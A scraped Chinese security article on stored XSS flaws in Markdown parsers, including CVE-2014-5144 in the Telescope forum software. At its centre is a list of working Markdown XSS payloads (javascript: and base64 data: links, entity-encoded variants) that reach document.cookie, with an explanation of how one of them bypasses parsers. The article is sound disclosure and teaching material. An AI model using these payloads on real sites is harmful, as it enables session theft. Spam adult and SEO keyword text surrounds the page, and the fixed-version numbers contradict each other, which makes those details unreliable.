成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

漏洞分析:一個Markdown解析器的持久型XSS漏洞

安全 應用安全 漏洞
Markdow解析器的安全現狀如何?有沒有對用戶輸入的數據做過濾?事實上,很多markdown解析器都沒有過濾用戶輸入的數據,那么如果markdown被用于添加用戶評論等功能的時候,就有可能存在安全風險。

什么是Markdown?

Markdown是一種輕量級的標記語言,流行程度已經得到了GitHub和Stack Overflow的廣泛支持,作為普通人我們也可以輕松上手。

[[127667]]

用markdown來寫文章非常贊,那些瑣碎的HTML標簽都可以拋到腦后不用管。最近5年內,markdown收到非常多的關注,包括Reddit,Github,StackOverflow在內的很多應用都使用 markdown這也催生了很多的markdown解析器的產生,這里定義了一些markdown語法,語法約定markdown解析器將這些標簽解析為html標簽。

漏洞分析:一個Markdown解析器的持久型XSS漏洞

Markdown安全現狀

Markdown解析器的安全現狀如何?有沒有對用戶輸入的數據做過濾?

事實上,很多markdown解析器都沒有過濾用戶輸入的數據,那么如果markdown被用于添加用戶評論等功能的時候,就有可能存在安全風險。

這里有一些關于這個問題的討論:[1], [2], [3].

另外,如果用googe搜索一下:

markdown xss issue site:github.com

漏洞分析:一個Markdown解析器的持久型XSS漏洞

你就會發現github上又很多***很高的項目都被發現存在XSS 漏洞。

所以,如何構造一些payload呢?看下面這些:

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> 
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
![a&#039;"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

上面這些payload是由Aleksa和原文作者一起搞出來的。在過去的12個月內,在實際滲透測試中證明,上面的這些 payload 是有效的。并且很多 markdown 解析器都受到影響。來看一下***一個payload:

[test](javascript://%0d%0aprompt(1);com)

我們猜測,markdown 解析器可能通過如下幾個步驟來進行解析&轉換:

判斷時候有協議頭?//有javascript 偽協議,Y

hostname 是以常見的域名后綴(com, org)結尾的?//是的,以 com 結尾 Y

將上述 payload 轉換為 HTML 標簽,//結果如下

  1. <a href="javascript://%0d%0aprompt(1);com>test</a> 

成功構造了一個XSS payload!當點擊了上述鏈接后,就會觸發XSS!

Telescope解析器一個持久性 XSS 漏洞(CVE-2014-5144)

Telescope是一個有名的開源項目,類似Reddit和Hackernews一樣,提供一個社區功能。Telescope的一個解析帖子&評論的功能存在 XSS 漏洞,并且這個功能存在很久了!

在0.9.3之前的版本中,以上面的 payload 列表中的 payload 發帖或者發表評論,就可以導致一個XSS漏洞。該漏洞已經修復,Telescope在這里發了changelog:http://www.telesc.pe/blog/telescope-v093-dailyscope/

下面是漏洞對應的payload:

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

漏洞分析:一個Markdown解析器的持久型XSS漏洞 

漏洞分析:一個Markdown解析器的持久型XSS漏洞

注意:上述漏洞已經在Telescope >= 0.7.3版本中修復了。

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2019-03-25 07:27:14

XSS漏洞Ecshop

2014-07-03 10:01:40

XSS漏洞存儲型XSS漏洞

2013-11-27 17:12:27

2011-07-21 09:25:41

2020-12-22 10:29:43

漏洞SAML認證補丁

2022-10-20 11:00:52

SQL解析器

2009-05-07 19:02:44

2021-03-08 10:49:11

漏洞攻擊網絡安全

2019-07-05 08:39:39

GoSQL解析器

2013-08-07 10:00:03

XSS谷歌

2017-02-16 15:47:12

2017-02-14 10:20:43

Java Class解析器

2011-11-28 15:40:52

wiresharkRDP解析器

2023-12-31 09:06:08

2013-04-17 17:07:40

2011-01-20 17:53:56

2018-09-19 04:55:22

2016-03-03 14:29:15

2010-04-30 15:45:09

2022-06-28 08:17:10

JSON性能反射
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 国产91在线 | 中日 | 午夜精品久久久久久久星辰影院 | 国产精品日女人 | 91精品国产91久久久久久丝袜 | 国产激情一区二区三区 | 国产精品久久久久久久久久久免费看 | 国产精品日日做人人爱 | 精品视频一二区 | 国产精品久久精品 | 精品免费视频 | 欧美一级片免费看 | 999久久久久久久久6666 | 国产99视频精品免费播放照片 | 毛片国产 | 观看av| 欧美激情综合五月色丁香小说 | 操网站 | 欧美日韩在线播放 | 99成人免费视频 | 韩国av一区二区 | 国产精品99 | 国产精品免费一区二区三区四区 | 亚洲3级| 日本精品久久 | 精品少妇一区二区三区日产乱码 | av免费看片 | 精品96久久久久久中文字幕无 | 欧美激情久久久 | 精品国产一区二区三区性色av | 国产一区二区三区不卡av | 在线视频亚洲 | 国产婷婷| 欧美精品91 | 午夜影院污 | 欧美久久电影 | 综合精品久久久 | 欧美激情综合五月色丁香小说 | 亚洲精品久久久一区二区三区 | 成人福利在线观看 | 精品99在线 | 毛片免费观看视频 |